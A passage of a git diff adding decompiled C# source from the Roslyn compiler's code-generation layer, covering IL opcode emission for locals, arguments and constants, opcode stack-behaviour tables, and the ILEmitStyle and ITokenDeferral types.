SwitchIntegralJumpTableEmitter(this, caseLabels, fallThroughLabel, keyTypeCode, key).EmitJumpTable(); + } + + internal void EmitSwitch(object[] labels) + { + _emitState.AdjustStack(-1); + int curStack = _emitState.CurStack; + foreach (object key in labels) + { + if (!_labelInfos.TryGetValue(key, out var value)) + { + _labelInfos.Add(key, new LabelInfo(curStack, targetOfConditionalBranches: true)); + } + else if (!value.targetOfConditionalBranches) + { + _labelInfos[key] = value.SetTargetOfConditionalBranches(); + } + } + CreateSwitchBlock().BranchLabels = labels; + EndBlock(); + } + + internal void EmitRet(bool isVoid) + { + if (!isVoid) + { + _emitState.AdjustStack(-1); + } + GetCurrentBlock().SetBranchCode(ILOpCode.Ret); + _emitState.InstructionAdded(); + EndBlock(); + } + + internal void EmitThrow(bool isRethrow) + { + BasicBlock currentBlock = GetCurrentBlock(); + if (isRethrow) + { + currentBlock.SetBranchCode(ILOpCode.Rethrow); + } + else + { + currentBlock.SetBranchCode(ILOpCode.Throw); + _emitState.AdjustStack(-1); + } + _emitState.InstructionAdded(); + EndBlock(); + } + + private void EmitEndFinally() + { + GetCurrentBlock().SetBranchCode(ILOpCode.Endfinally); + EndBlock(); + } + + private BasicBlock FinishFilterCondition() + { + BasicBlock currentBlock = GetCurrentBlock(); + currentBlock.SetBranchCode(ILOpCode.Endfilter); + EndBlock(); + return currentBlock; + } + + internal void EmitArrayCreation(IArrayTypeReference arrayType, SyntaxNode syntaxNode, DiagnosticBag diagnostics) + { + ArrayMethod arrayConstructor = module.ArrayMethods.GetArrayConstructor(arrayType); + EmitOpCode(ILOpCode.Newobj, 1 - arrayType.Rank); + EmitToken((ISignature)arrayConstructor, syntaxNode, diagnostics); + } + + internal void EmitArrayElementLoad(IArrayTypeReference arrayType, SyntaxNode syntaxNode, DiagnosticBag diagnostics) + { + ArrayMethod arrayGet = module.ArrayMethods.GetArrayGet(arrayType); + EmitOpCode(ILOpCode.Call, -arrayType.Rank); + EmitToken((ISignature)arrayGet, syntaxNode, diagnostics); + } + + internal void EmitArrayElementAddress(IArrayTypeReference arrayType, SyntaxNode syntaxNode, DiagnosticBag diagnostics) + { + ArrayMethod arrayAddress = module.ArrayMethods.GetArrayAddress(arrayType); + EmitOpCode(ILOpCode.Call, -arrayType.Rank); + EmitToken((ISignature)arrayAddress, syntaxNode, diagnostics); + } + + internal void EmitArrayElementStore(IArrayTypeReference arrayType, SyntaxNode syntaxNode, DiagnosticBag diagnostics) + { + ArrayMethod arraySet = module.ArrayMethods.GetArraySet(arrayType); + EmitOpCode(ILOpCode.Call, -(2 + arrayType.Rank)); + EmitToken((ISignature)arraySet, syntaxNode, diagnostics); + } + + internal void EmitLoad(LocalOrParameter localOrParameter) + { + LocalDefinition local = localOrParameter.Local; + if (local != null) + { + EmitLocalLoad(local); + } + else + { + EmitLoadArgumentOpcode(localOrParameter.ParameterIndex); + } + } + + internal void EmitLoadAddress(LocalOrParameter localOrParameter) + { + LocalDefinition local = localOrParameter.Local; + if (local != null) + { + EmitLocalAddress(local); + } + else + { + EmitLoadArgumentAddrOpcode(localOrParameter.ParameterIndex); + } + } + + internal void EmitLocalLoad(LocalDefinition local) + { + int slotIndex = local.SlotIndex; + switch (slotIndex) + { + case 0: + EmitOpCode(ILOpCode.Ldloc_0); + return; + case 1: + EmitOpCode(ILOpCode.Ldloc_1); + return; + case 2: + EmitOpCode(ILOpCode.Ldloc_2); + return; + case 3: + EmitOpCode(ILOpCode.Ldloc_3); + return; + } + if (slotIndex < 255) + { + EmitOpCode(ILOpCode.Ldloc_s); + EmitInt8((sbyte)slotIndex); + } + else + { + EmitOpCode(ILOpCode.Ldloc); + EmitInt32(slotIndex); + } + } + + internal void EmitLocalStore(LocalDefinition local) + { + int slotIndex = local.SlotIndex; + switch (slotIndex) + { + case 0: + EmitOpCode(ILOpCode.Stloc_0); + return; + case 1: + EmitOpCode(ILOpCode.Stloc_1); + return; + case 2: + EmitOpCode(ILOpCode.Stloc_2); + return; + case 3: + EmitOpCode(ILOpCode.Stloc_3); + return; + } + if (slotIndex < 255) + { + EmitOpCode(ILOpCode.Stloc_s); + EmitInt8((sbyte)slotIndex); + } + else + { + EmitOpCode(ILOpCode.Stloc); + EmitInt32(slotIndex); + } + } + + internal void EmitLocalAddress(LocalDefinition local) + { + if (local.IsReference) + { + EmitLocalLoad(local); + return; + } + int slotIndex = local.SlotIndex; + if (slotIndex < 255) + { + EmitOpCode(ILOpCode.Ldloca_s); + EmitInt8((sbyte)slotIndex); + } + else + { + EmitOpCode(ILOpCode.Ldloca); + EmitInt32(slotIndex); + } + } + + internal void EmitLoadArgumentOpcode(int argNumber) + { + switch (argNumber) + { + case 0: + EmitOpCode(ILOpCode.Ldarg_0); + return; + case 1: + EmitOpCode(ILOpCode.Ldarg_1); + return; + case 2: + EmitOpCode(ILOpCode.Ldarg_2); + return; + case 3: + EmitOpCode(ILOpCode.Ldarg_3); + return; + } + if (argNumber < 255) + { + EmitOpCode(ILOpCode.Ldarg_s); + EmitInt8((sbyte)argNumber); + } + else + { + EmitOpCode(ILOpCode.Ldarg); + EmitInt32(argNumber); + } + } + + internal void EmitLoadArgumentAddrOpcode(int argNumber) + { + if (argNumber < 255) + { + EmitOpCode(ILOpCode.Ldarga_s); + EmitInt8((sbyte)argNumber); + } + else + { + EmitOpCode(ILOpCode.Ldarga); + EmitInt32(argNumber); + } + } + + internal void EmitStoreArgumentOpcode(int argNumber) + { + if (argNumber < 255) + { + EmitOpCode(ILOpCode.Starg_s); + EmitInt8((sbyte)argNumber); + } + else + { + EmitOpCode(ILOpCode.Starg); + EmitInt32(argNumber); + } + } + + internal void EmitConstantValue(ConstantValue value) + { + ConstantValueTypeDiscriminator discriminator = value.Discriminator; + switch (discriminator) + { + case ConstantValueTypeDiscriminator.Nothing: + EmitNullConstant(); + break; + case ConstantValueTypeDiscriminator.SByte: + EmitSByteConstant(value.SByteValue); + break; + case ConstantValueTypeDiscriminator.Byte: + EmitByteConstant(value.ByteValue); + break; + case ConstantValueTypeDiscriminator.UInt16: + EmitUShortConstant(value.UInt16Value); + break; + case ConstantValueTypeDiscriminator.Char: + EmitUShortConstant(value.CharValue); + break; + case ConstantValueTypeDiscriminator.Int16: + EmitShortConstant(value.Int16Value); + break; + case ConstantValueTypeDiscriminator.Int32: + case ConstantValueTypeDiscriminator.UInt32: + EmitIntConstant(value.Int32Value); + break; + case ConstantValueTypeDiscriminator.Int64: + case ConstantValueTypeDiscriminator.UInt64: + EmitLongConstant(value.Int64Value); + break; + case ConstantValueTypeDiscriminator.NInt: + EmitNativeIntConstant(value.Int32Value); + break; + case ConstantValueTypeDiscriminator.NUInt: + EmitNativeIntConstant(value.UInt32Value); + break; + case ConstantValueTypeDiscriminator.Single: + EmitSingleConstant(value.SingleValue); + break; + case ConstantValueTypeDiscriminator.Double: + EmitDoubleConstant(value.DoubleValue); + break; + case ConstantValueTypeDiscriminator.String: + EmitStringConstant(value.StringValue); + break; + case ConstantValueTypeDiscriminator.Boolean: + EmitBoolConstant(value.BooleanValue); + break; + default: + throw ExceptionUtilities.UnexpectedValue(discriminator); + } + } + + internal void EmitIntConstant(int value) + { + ILOpCode iLOpCode = ILOpCode.Nop; + switch (value) + { + case -1: + iLOpCode = ILOpCode.Ldc_i4_m1; + break; + case 0: + iLOpCode = ILOpCode.Ldc_i4_0; + break; + case 1: + iLOpCode = ILOpCode.Ldc_i4_1; + break; + case 2: + iLOpCode = ILOpCode.Ldc_i4_2; + break; + case 3: + iLOpCode = ILOpCode.Ldc_i4_3; + break; + case 4: + iLOpCode = ILOpCode.Ldc_i4_4; + break; + case 5: + iLOpCode = ILOpCode.Ldc_i4_5; + break; + case 6: + iLOpCode = ILOpCode.Ldc_i4_6; + break; + case 7: + iLOpCode = ILOpCode.Ldc_i4_7; + break; + case 8: + iLOpCode = ILOpCode.Ldc_i4_8; + break; + } + if (iLOpCode != ILOpCode.Nop) + { + EmitOpCode(iLOpCode); + } + else if ((sbyte)value == value) + { + EmitOpCode(ILOpCode.Ldc_i4_s); + EmitInt8((sbyte)value); + } + else + { + EmitOpCode(ILOpCode.Ldc_i4); + EmitInt32(value); + } + } + + internal void EmitBoolConstant(bool value) + { + EmitIntConstant(value ? 1 : 0); + } + + internal void EmitByteConstant(byte value) + { + EmitIntConstant(value); + } + + internal void EmitSByteConstant(sbyte value) + { + EmitIntConstant(value); + } + + internal void EmitShortConstant(short value) + { + EmitIntConstant(value); + } + + internal void EmitUShortConstant(ushort value) + { + EmitIntConstant(value); + } + + internal void EmitLongConstant(long value) + { + if (value >= int.MinValue && value <= int.MaxValue) + { + EmitIntConstant((int)value); + EmitOpCode(ILOpCode.Conv_i8); + } + else if (value >= 0 && value <= uint.MaxValue) + { + EmitIntConstant((int)value); + EmitOpCode(ILOpCode.Conv_u8); + } + else + { + EmitOpCode(ILOpCode.Ldc_i8); + EmitInt64(value); + } + } + + internal void EmitNativeIntConstant(long value) + { + if (value >= int.MinValue && value <= int.MaxValue) + { + EmitIntConstant((int)value); + EmitOpCode(ILOpCode.Conv_i); + return; + } + if (value >= 0 && value <= uint.MaxValue) + { + EmitIntConstant((int)value); + EmitOpCode(ILOpCode.Conv_u); + return; + } + throw ExceptionUtilities.UnexpectedValue(value); + } + + internal void EmitSingleConstant(float value) + { + EmitOpCode(ILOpCode.Ldc_r4); + EmitFloat(value); + } + + internal void EmitDoubleConstant(double value) + { + EmitOpCode(ILOpCode.Ldc_r8); + EmitDouble(value); + } + + internal void EmitNullConstant() + { + EmitOpCode(ILOpCode.Ldnull); + } + + internal void EmitStringConstant(string? value) + { + if (value == null) + { + EmitNullConstant(); + return; + } + EmitOpCode(ILOpCode.Ldstr); + EmitToken(value); + } + + private void EmitInt8(sbyte int8) + { + GetCurrentWriter().WriteSByte(int8); + } + + private void EmitInt32(int int32) + { + GetCurrentWriter().WriteInt32(int32); + } + + private void EmitInt64(long int64) + { + GetCurrentWriter().WriteInt64(int64); + } + + private void EmitFloat(float floatValue) + { + int value = BitConverter.ToInt32(BitConverter.GetBytes(floatValue), 0); + GetCurrentWriter().WriteInt32(value); + } + + private void EmitDouble(double doubleValue) + { + long value = BitConverter.DoubleToInt64Bits(doubleValue); + GetCurrentWriter().WriteInt64(value); + } + + private static void WriteOpCode(BlobBuilder writer, ILOpCode code) + { + if (code.Size() == 1) + { + writer.WriteByte((byte)code); + return; + } + writer.WriteByte((byte)((int)code >> 8)); + writer.WriteByte((byte)(code & (ILOpCode)255)); + } + + private BlobBuilder GetCurrentWriter() + { + return GetCurrentBlock().Writer; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/ILEmitStyle.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/ILEmitStyle.cs new file mode 100644 index 0000000..b15393f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/ILEmitStyle.cs @@ -0,0 +1,8 @@ +namespace Microsoft.CodeAnalysis.CodeGen; + +internal enum ILEmitStyle : byte +{ + Debug, + DebugFriendlyRelease, + Release +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/ILOpCodeExtensions.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/ILOpCodeExtensions.cs new file mode 100644 index 0000000..41abf27 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/ILOpCodeExtensions.cs @@ -0,0 +1,645 @@ +using System.Reflection.Metadata; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CodeGen; + +internal static class ILOpCodeExtensions +{ + public static int Size(this ILOpCode opcode) + { + if ((int)opcode <= 255) + { + return 1; + } + return 2; + } + + public static ILOpCode GetLeaveOpcode(this ILOpCode opcode) + { + return opcode switch + { + ILOpCode.Br => ILOpCode.Leave, + ILOpCode.Br_s => ILOpCode.Leave_s, + _ => throw ExceptionUtilities.UnexpectedValue(opcode), + }; + } + + public static bool HasVariableStackBehavior(this ILOpCode opcode) + { + if (opcode - 40 <= ILOpCode.Ldarg_0 || opcode == ILOpCode.Callvirt || opcode == ILOpCode.Newobj) + { + return true; + } + return false; + } + + public static bool IsControlTransfer(this ILOpCode opcode) + { + if (opcode.IsBranch()) + { + return true; + } + switch (opcode) + { + case ILOpCode.Jmp: + case ILOpCode.Ret: + case ILOpCode.Switch: + case ILOpCode.Throw: + case ILOpCode.Endfinally: + case ILOpCode.Endfilter: + case ILOpCode.Rethrow: + return true; + default: + return false; + } + } + + public static bool IsConditionalBranch(this ILOpCode opcode) + { + if (opcode - 44 <= ILOpCode.Stloc_1 || opcode - 57 <= ILOpCode.Stloc_1) + { + return true; + } + return false; + } + + public static bool IsRelationalBranch(this ILOpCode opcode) + { + if (opcode - 46 <= ILOpCode.Ldloc_3 || opcode - 59 <= ILOpCode.Ldloc_3) + { + return true; + } + return false; + } + + public static bool CanFallThrough(this ILOpCode opcode) + { + switch (opcode) + { + case ILOpCode.Jmp: + case ILOpCode.Ret: + case ILOpCode.Br_s: + case ILOpCode.Br: + case ILOpCode.Throw: + case ILOpCode.Endfinally: + case ILOpCode.Leave: + case ILOpCode.Leave_s: + case ILOpCode.Rethrow: + return false; + default: + return true; + } + } + + public static int NetStackBehavior(this ILOpCode opcode) + { + return opcode.StackPushCount() - opcode.StackPopCount(); + } + + public static int StackPopCount(this ILOpCode opcode) + { + switch (opcode) + { + case ILOpCode.Nop: + case ILOpCode.Break: + case ILOpCode.Ldarg_0: + case ILOpCode.Ldarg_1: + case ILOpCode.Ldarg_2: + case ILOpCode.Ldarg_3: + case ILOpCode.Ldloc_0: + case ILOpCode.Ldloc_1: + case ILOpCode.Ldloc_2: + case ILOpCode.Ldloc_3: + return 0; + case ILOpCode.Stloc_0: + case ILOpCode.Stloc_1: + case ILOpCode.Stloc_2: + case ILOpCode.Stloc_3: + return 1; + case ILOpCode.Ldarg_s: + case ILOpCode.Ldarga_s: + return 0; + case ILOpCode.Starg_s: + return 1; + case ILOpCode.Ldloc_s: + case ILOpCode.Ldloca_s: + return 0; + case ILOpCode.Stloc_s: + return 1; + case ILOpCode.Ldnull: + case ILOpCode.Ldc_i4_m1: + case ILOpCode.Ldc_i4_0: + case ILOpCode.Ldc_i4_1: + case ILOpCode.Ldc_i4_2: + case ILOpCode.Ldc_i4_3: + case ILOpCode.Ldc_i4_4: + case ILOpCode.Ldc_i4_5: + case ILOpCode.Ldc_i4_6: + case ILOpCode.Ldc_i4_7: + case ILOpCode.Ldc_i4_8: + case ILOpCode.Ldc_i4_s: + case ILOpCode.Ldc_i4: + case ILOpCode.Ldc_i8: + case ILOpCode.Ldc_r4: + case ILOpCode.Ldc_r8: + return 0; + case ILOpCode.Dup: + case ILOpCode.Pop: + return 1; + case ILOpCode.Jmp: + return 0; + case ILOpCode.Call: + case ILOpCode.Calli: + case ILOpCode.Ret: + return -1; + case ILOpCode.Br_s: + return 0; + case ILOpCode.Brfalse_s: + case ILOpCode.Brtrue_s: + return 1; + case ILOpCode.Beq_s: + case ILOpCode.Bge_s: + case ILOpCode.Bgt_s: + case ILOpCode.Ble_s: + case ILOpCode.Blt_s: + case ILOpCode.Bne_un_s: + case ILOpCode.Bge_un_s: + case ILOpCode.Bgt_un_s: + case ILOpCode.Ble_un_s: + case ILOpCode.Blt_un_s: + return 2; + case ILOpCode.Br: + return 0; + case ILOpCode.Brfalse: + case ILOpCode.Brtrue: + return 1; + case ILOpCode.Beq: + case ILOpCode.Bge: + case ILOpCode.Bgt: + case ILOpCode.Ble: + case ILOpCode.Blt: + case ILOpCode.Bne_un: + case ILOpCode.Bge_un: + case ILOpCode.Bgt_un: + case ILOpCode.Ble_un: + case ILOpCode.Blt_un: + return 2; + case ILOpCode.Switch: + case ILOpCode.Ldind_i1: + case ILOpCode.Ldind_u1: + case ILOpCode.Ldind_i2: + case ILOpCode.Ldind_u2: + case ILOpCode.Ldind_i4: + case ILOpCode.Ldind_u4: + case ILOpCode.Ldind_i8: + case ILOpCode.Ldind_i: + case ILOpCode.Ldind_r4: + case ILOpCode.Ldind_r8: + case ILOpCode.Ldind_ref: + return 1; + case ILOpCode.Stind_ref: + case ILOpCode.Stind_i1: + case ILOpCode.Stind_i2: + case ILOpCode.Stind_i4: + case ILOpCode.Stind_i8: + case ILOpCode.Stind_r4: + case ILOpCode.Stind_r8: + case ILOpCode.Add: + case ILOpCode.Sub: + case ILOpCode.Mul: + case ILOpCode.Div: + case ILOpCode.Div_un: + case ILOpCode.Rem: + case ILOpCode.Rem_un: + case ILOpCode.And: + case ILOpCode.Or: + case ILOpCode.Xor: + case ILOpCode.Shl: + case ILOpCode.Shr: + case ILOpCode.Shr_un: + return 2; + case ILOpCode.Neg: + case ILOpCode.Not: + case ILOpCode.Conv_i1: + case ILOpCode.Conv_i2: + case ILOpCode.Conv_i4: + case ILOpCode.Conv_i8: + case ILOpCode.Conv_r4: + case ILOpCode.Conv_r8: + case ILOpCode.Conv_u4: + case ILOpCode.Conv_u8: + return 1; + case ILOpCode.Callvirt: + return -1; + case ILOpCode.Cpobj: + return 2; + case ILOpCode.Ldobj: + return 1; + case ILOpCode.Ldstr: + return 0; + case ILOpCode.Newobj: + return -1; + case ILOpCode.Castclass: + case ILOpCode.Isinst: + case ILOpCode.Conv_r_un: + case ILOpCode.Unbox: + case ILOpCode.Throw: + case ILOpCode.Ldfld: + case ILOpCode.Ldflda: + return 1; + case ILOpCode.Stfld: + return 2; + case ILOpCode.Ldsfld: + case ILOpCode.Ldsflda: + return 0; + case ILOpCode.Stsfld: + return 1; + case ILOpCode.Stobj: + return 2; + case ILOpCode.Conv_ovf_i1_un: + case ILOpCode.Conv_ovf_i2_un: + case ILOpCode.Conv_ovf_i4_un: + case ILOpCode.Conv_ovf_i8_un: + case ILOpCode.Conv_ovf_u1_un: + case ILOpCode.Conv_ovf_u2_un: + case ILOpCode.Conv_ovf_u4_un: + case ILOpCode.Conv_ovf_u8_un: + case ILOpCode.Conv_ovf_i_un: + case ILOpCode.Conv_ovf_u_un: + case ILOpCode.Box: + case ILOpCode.Newarr: + case ILOpCode.Ldlen: + return 1; + case ILOpCode.Ldelema: + case ILOpCode.Ldelem_i1: + case ILOpCode.Ldelem_u1: + case ILOpCode.Ldelem_i2: + case ILOpCode.Ldelem_u2: + case ILOpCode.Ldelem_i4: + case ILOpCode.Ldelem_u4: + case ILOpCode.Ldelem_i8: + case ILOpCode.Ldelem_i: + case ILOpCode.Ldelem_r4: + case ILOpCode.Ldelem_r8: + case ILOpCode.Ldelem_ref: + return 2; + case ILOpCode.Stelem_i: + case ILOpCode.Stelem_i1: + case ILOpCode.Stelem_i2: + case ILOpCode.Stelem_i4: + case ILOpCode.Stelem_i8: + case ILOpCode.Stelem_r4: + case ILOpCode.Stelem_r8: + case ILOpCode.Stelem_ref: + return 3; + case ILOpCode.Ldelem: + return 2; + case ILOpCode.Stelem: + return 3; + case ILOpCode.Unbox_any: + case ILOpCode.Conv_ovf_i1: + case ILOpCode.Conv_ovf_u1: + case ILOpCode.Conv_ovf_i2: + case ILOpCode.Conv_ovf_u2: + case ILOpCode.Conv_ovf_i4: + case ILOpCode.Conv_ovf_u4: + case ILOpCode.Conv_ovf_i8: + case ILOpCode.Conv_ovf_u8: + case ILOpCode.Refanyval: + case ILOpCode.Ckfinite: + case ILOpCode.Mkrefany: + return 1; + case ILOpCode.Ldtoken: + return 0; + case ILOpCode.Conv_u2: + case ILOpCode.Conv_u1: + case ILOpCode.Conv_i: + case ILOpCode.Conv_ovf_i: + case ILOpCode.Conv_ovf_u: + return 1; + case ILOpCode.Add_ovf: + case ILOpCode.Add_ovf_un: + case ILOpCode.Mul_ovf: + case ILOpCode.Mul_ovf_un: + case ILOpCode.Sub_ovf: + case ILOpCode.Sub_ovf_un: + return 2; + case ILOpCode.Endfinally: + case ILOpCode.Leave: + case ILOpCode.Leave_s: + return 0; + case ILOpCode.Stind_i: + return 2; + case ILOpCode.Conv_u: + return 1; + case ILOpCode.Arglist: + return 0; + case ILOpCode.Ceq: + case ILOpCode.Cgt: + case ILOpCode.Cgt_un: + case ILOpCode.Clt: + case ILOpCode.Clt_un: + return 2; + case ILOpCode.Ldftn: + return 0; + case ILOpCode.Ldvirtftn: + return 1; + case ILOpCode.Ldarg: + case ILOpCode.Ldarga: + return 0; + case ILOpCode.Starg: + return 1; + case ILOpCode.Ldloc: + case ILOpCode.Ldloca: + return 0; + case ILOpCode.Stloc: + case ILOpCode.Localloc: + case ILOpCode.Endfilter: + return 1; + case ILOpCode.Unaligned: + case ILOpCode.Volatile: + case ILOpCode.Tail: + return 0; + case ILOpCode.Initobj: + return 1; + case ILOpCode.Constrained: + return 0; + case ILOpCode.Cpblk: + case ILOpCode.Initblk: + return 3; + case ILOpCode.Rethrow: + case ILOpCode.Sizeof: + return 0; + case ILOpCode.Refanytype: + return 1; + case ILOpCode.Readonly: + return 0; + default: + throw ExceptionUtilities.UnexpectedValue(opcode); + } + } + + public static int StackPushCount(this ILOpCode opcode) + { + switch (opcode) + { + case ILOpCode.Nop: + case ILOpCode.Break: + return 0; + case ILOpCode.Ldarg_0: + case ILOpCode.Ldarg_1: + case ILOpCode.Ldarg_2: + case ILOpCode.Ldarg_3: + case ILOpCode.Ldloc_0: + case ILOpCode.Ldloc_1: + case ILOpCode.Ldloc_2: + case ILOpCode.Ldloc_3: + return 1; + case ILOpCode.Stloc_0: + case ILOpCode.Stloc_1: + case ILOpCode.Stloc_2: + case ILOpCode.Stloc_3: + return 0; + case ILOpCode.Ldarg_s: + case ILOpCode.Ldarga_s: + return 1; + case ILOpCode.Starg_s: + return 0; + case ILOpCode.Ldloc_s: + case ILOpCode.Ldloca_s: + return 1; + case ILOpCode.Stloc_s: + return 0; + case ILOpCode.Ldnull: + case ILOpCode.Ldc_i4_m1: + case ILOpCode.Ldc_i4_0: + case ILOpCode.Ldc_i4_1: + case ILOpCode.Ldc_i4_2: + case ILOpCode.Ldc_i4_3: + case ILOpCode.Ldc_i4_4: + case ILOpCode.Ldc_i4_5: + case ILOpCode.Ldc_i4_6: + case ILOpCode.Ldc_i4_7: + case ILOpCode.Ldc_i4_8: + case ILOpCode.Ldc_i4_s: + case ILOpCode.Ldc_i4: + case ILOpCode.Ldc_i8: + case ILOpCode.Ldc_r4: + case ILOpCode.Ldc_r8: + return 1; + case ILOpCode.Dup: + return 2; + case ILOpCode.Pop: + case ILOpCode.Jmp: + return 0; + case ILOpCode.Call: + case ILOpCode.Calli: + return -1; + case ILOpCode.Ret: + case ILOpCode.Br_s: + case ILOpCode.Brfalse_s: + case ILOpCode.Brtrue_s: + case ILOpCode.Beq_s: + case ILOpCode.Bge_s: + case ILOpCode.Bgt_s: + case ILOpCode.Ble_s: + case ILOpCode.Blt_s: + case ILOpCode.Bne_un_s: + case ILOpCode.Bge_un_s: + case ILOpCode.Bgt_un_s: + case ILOpCode.Ble_un_s: + case ILOpCode.Blt_un_s: + case ILOpCode.Br: + case ILOpCode.Brfalse: + case ILOpCode.Brtrue: + case ILOpCode.Beq: + case ILOpCode.Bge: + case ILOpCode.Bgt: + case ILOpCode.Ble: + case ILOpCode.Blt: + case ILOpCode.Bne_un: + case ILOpCode.Bge_un: + case ILOpCode.Bgt_un: + case ILOpCode.Ble_un: + case ILOpCode.Blt_un: + case ILOpCode.Switch: + return 0; + case ILOpCode.Ldind_i1: + case ILOpCode.Ldind_u1: + case ILOpCode.Ldind_i2: + case ILOpCode.Ldind_u2: + case ILOpCode.Ldind_i4: + case ILOpCode.Ldind_u4: + case ILOpCode.Ldind_i8: + case ILOpCode.Ldind_i: + case ILOpCode.Ldind_r4: + case ILOpCode.Ldind_r8: + case ILOpCode.Ldind_ref: + return 1; + case ILOpCode.Stind_ref: + case ILOpCode.Stind_i1: + case ILOpCode.Stind_i2: + case ILOpCode.Stind_i4: + case ILOpCode.Stind_i8: + case ILOpCode.Stind_r4: + case ILOpCode.Stind_r8: + return 0; + case ILOpCode.Add: + case ILOpCode.Sub: + case ILOpCode.Mul: + case ILOpCode.Div: + case ILOpCode.Div_un: + case ILOpCode.Rem: + case ILOpCode.Rem_un: + case ILOpCode.And: + case ILOpCode.Or: + case ILOpCode.Xor: + case ILOpCode.Shl: + case ILOpCode.Shr: + case ILOpCode.Shr_un: + case ILOpCode.Neg: + case ILOpCode.Not: + case ILOpCode.Conv_i1: + case ILOpCode.Conv_i2: + case ILOpCode.Conv_i4: + case ILOpCode.Conv_i8: + case ILOpCode.Conv_r4: + case ILOpCode.Conv_r8: + case ILOpCode.Conv_u4: + case ILOpCode.Conv_u8: + return 1; + case ILOpCode.Callvirt: + return -1; + case ILOpCode.Cpobj: + return 0; + case ILOpCode.Ldobj: + case ILOpCode.Ldstr: + case ILOpCode.Newobj: + case ILOpCode.Castclass: + case ILOpCode.Isinst: + case ILOpCode.Conv_r_un: + case ILOpCode.Unbox: + return 1; + case ILOpCode.Throw: + return 0; + case ILOpCode.Ldfld: + case ILOpCode.Ldflda: + return 1; + case ILOpCode.Stfld: + return 0; + case ILOpCode.Ldsfld: + case ILOpCode.Ldsflda: + return 1; + case ILOpCode.Stsfld: + case ILOpCode.Stobj: + return 0; + case ILOpCode.Conv_ovf_i1_un: + case ILOpCode.Conv_ovf_i2_un: + case ILOpCode.Conv_ovf_i4_un: + case ILOpCode.Conv_ovf_i8_un: + case ILOpCode.Conv_ovf_u1_un: + case ILOpCode.Conv_ovf_u2_un: + case ILOpCode.Conv_ovf_u4_un: + case ILOpCode.Conv_ovf_u8_un: + case ILOpCode.Conv_ovf_i_un: + case ILOpCode.Conv_ovf_u_un: + case ILOpCode.Box: + case ILOpCode.Newarr: + case ILOpCode.Ldlen: + case ILOpCode.Ldelema: + case ILOpCode.Ldelem_i1: + case ILOpCode.Ldelem_u1: + case ILOpCode.Ldelem_i2: + case ILOpCode.Ldelem_u2: + case ILOpCode.Ldelem_i4: + case ILOpCode.Ldelem_u4: + case ILOpCode.Ldelem_i8: + case ILOpCode.Ldelem_i: + case ILOpCode.Ldelem_r4: + case ILOpCode.Ldelem_r8: + case ILOpCode.Ldelem_ref: + return 1; + case ILOpCode.Stelem_i: + case ILOpCode.Stelem_i1: + case ILOpCode.Stelem_i2: + case ILOpCode.Stelem_i4: + case ILOpCode.Stelem_i8: + case ILOpCode.Stelem_r4: + case ILOpCode.Stelem_r8: + case ILOpCode.Stelem_ref: + return 0; + case ILOpCode.Ldelem: + return 1; + case ILOpCode.Stelem: + return 0; + case ILOpCode.Unbox_any: + case ILOpCode.Conv_ovf_i1: + case ILOpCode.Conv_ovf_u1: + case ILOpCode.Conv_ovf_i2: + case ILOpCode.Conv_ovf_u2: + case ILOpCode.Conv_ovf_i4: + case ILOpCode.Conv_ovf_u4: + case ILOpCode.Conv_ovf_i8: + case ILOpCode.Conv_ovf_u8: + case ILOpCode.Refanyval: + case ILOpCode.Ckfinite: + case ILOpCode.Mkrefany: + case ILOpCode.Ldtoken: + case ILOpCode.Conv_u2: + case ILOpCode.Conv_u1: + case ILOpCode.Conv_i: + case ILOpCode.Conv_ovf_i: + case ILOpCode.Conv_ovf_u: + case ILOpCode.Add_ovf: + case ILOpCode.Add_ovf_un: + case ILOpCode.Mul_ovf: + case ILOpCode.Mul_ovf_un: + case ILOpCode.Sub_ovf: + case ILOpCode.Sub_ovf_un: + return 1; + case ILOpCode.Endfinally: + case ILOpCode.Leave: + case ILOpCode.Leave_s: + case ILOpCode.Stind_i: + return 0; + case ILOpCode.Conv_u: + case ILOpCode.Arglist: + case ILOpCode.Ceq: + case ILOpCode.Cgt: + case ILOpCode.Cgt_un: + case ILOpCode.Clt: + case ILOpCode.Clt_un: + case ILOpCode.Ldftn: + case ILOpCode.Ldvirtftn: + case ILOpCode.Ldarg: + case ILOpCode.Ldarga: + return 1; + case ILOpCode.Starg: + return 0; + case ILOpCode.Ldloc: + case ILOpCode.Ldloca: + return 1; + case ILOpCode.Stloc: + return 0; + case ILOpCode.Localloc: + return 1; + case ILOpCode.Endfilter: + case ILOpCode.Unaligned: + case ILOpCode.Volatile: + case ILOpCode.Tail: + case ILOpCode.Initobj: + case ILOpCode.Constrained: + case ILOpCode.Cpblk: + case ILOpCode.Initblk: + case ILOpCode.Rethrow: + return 0; + case ILOpCode.Sizeof: + case ILOpCode.Refanytype: + return 1; + case ILOpCode.Readonly: + return 0; + default: + throw ExceptionUtilities.UnexpectedValue(opcode); + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/ITokenDeferral.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/ITokenDeferral.cs new file mode 100644 index 0000000..d083a22 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/ITokenDeferral.cs @@ -0,0 +1,27 @@ +using System.Collections.Immutable; +using Microsoft.Cci; + +namespace Microsoft.CodeAnalysis.CodeGen; + +internal interface ITokenDeferral +{ + ArrayMethods ArrayMethods { get; } + + uint GetFakeStringTokenForIL(string value); + + uint GetFakeSymbolTokenForIL(IReference value, SyntaxNode? syntaxNode, DiagnosticBag diagnostics); + + uint GetFakeSymbolTokenForIL(ISignature value, SyntaxNode? syntaxNode, DiagnosticBag diagnostics); + + uint GetSourceDocumentIndexForIL(DebugSourceDocument document); + + IFieldReference GetFieldForData(ImmutableArray data, ushort alignment, SyntaxNode syntaxNode, DiagnosticBag diagnostics); + + IFieldReference GetArrayCachingFieldForData(ImmutableArray data, IArrayTypeReference arrayType, SyntaxNode syntaxNode, DiagnosticBag 